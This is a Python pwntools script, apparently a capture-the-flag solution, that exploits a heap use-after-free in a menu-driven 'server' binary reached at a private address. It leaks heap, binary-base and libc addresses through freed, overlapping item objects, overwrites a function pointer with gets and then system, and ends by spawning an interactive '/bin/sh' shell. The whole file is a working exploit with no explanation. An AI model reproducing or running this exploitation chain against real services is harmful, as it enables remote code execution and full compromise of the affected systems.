from pwn import *
debug=0
if debug:
    p=process('./server')
    gdb.attach(p)
    e=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p=remote('172.16.3.251',6787)
    e=ELF('./libc.so')
def newitem(name,len,content):
    p.sendline('1')
    p.recvuntil('?')
    p.sendline(name)
    p.recvuntil('?')
    p.sendline(str(len))
    p.recvuntil('?')
    p.sendline(content)
    p.recvuntil(':')
def remove(index):
    p.sendline('4')
    p.recvuntil('?')
    p.sendline(str(index))
    p.recvuntil('choose:')
p.recvuntil(':')
newitem('name1',0x18,'a'*4)
newitem('name2',0x20,'b'*4)
remove(0)
remove(1)
p.sendline('3')
p.recvuntil('?')
p.sendline('1')
p.recvuntil('Description:')
data=p.recvuntil("\n")[:-1].ljust(8,'\x00')
heap=u64(data)
log.success('Heap: '+hex(heap))
p.recvuntil(':')
#this overwrite the object 0's free pointer
newitem('name3',0x18,p64(heap)*2+'e'*8)
p.sendline('3')
p.recvuntil('?')
p.sendline('0')
p.recvuntil('Name:')
data=p.recvuntil("\n")[:-1].ljust(8,'\x00')
elfbase=u64(data)-0x0B39
log.success('Elfbase: '+hex(elfbase))
p.recvuntil(':')
newitem('name4',0x18,'a'*4)
newitem('name5',0x20,'b'*4)
remove(3)
remove(4)
newitem('name6',0x18,p64(elfbase+0x202018)*2+'e'*8)
p.sendline('3')
p.recvuntil('?')
p.sendline('3')
p.recvuntil('Name:')
data=p.recvuntil("\n")[:-1].ljust(8,'\x00')
free=u64(data)
log.success('free: '+hex(free))
p.recvuntil('choose:')
newitem('name7',0x18,'a'*4)
newitem('name8',0x20,'b'*4)
remove(6)
remove(7)
system=free-e.symbols['free']+e.symbols['system']
gets=free-e.symbols['free']+e.symbols['gets']
newitem('name9',0x18,'a'*16+p64(gets)[:-1])
p.sendline('4')
p.recvuntil('?')
p.sendline('6')
p.sendline('/bin/sh\x00'*2+p64(system))
p.recvuntil('choose:')
p.sendline('4')
p.recvuntil('?')
p.sendline('6')
p.interactive()

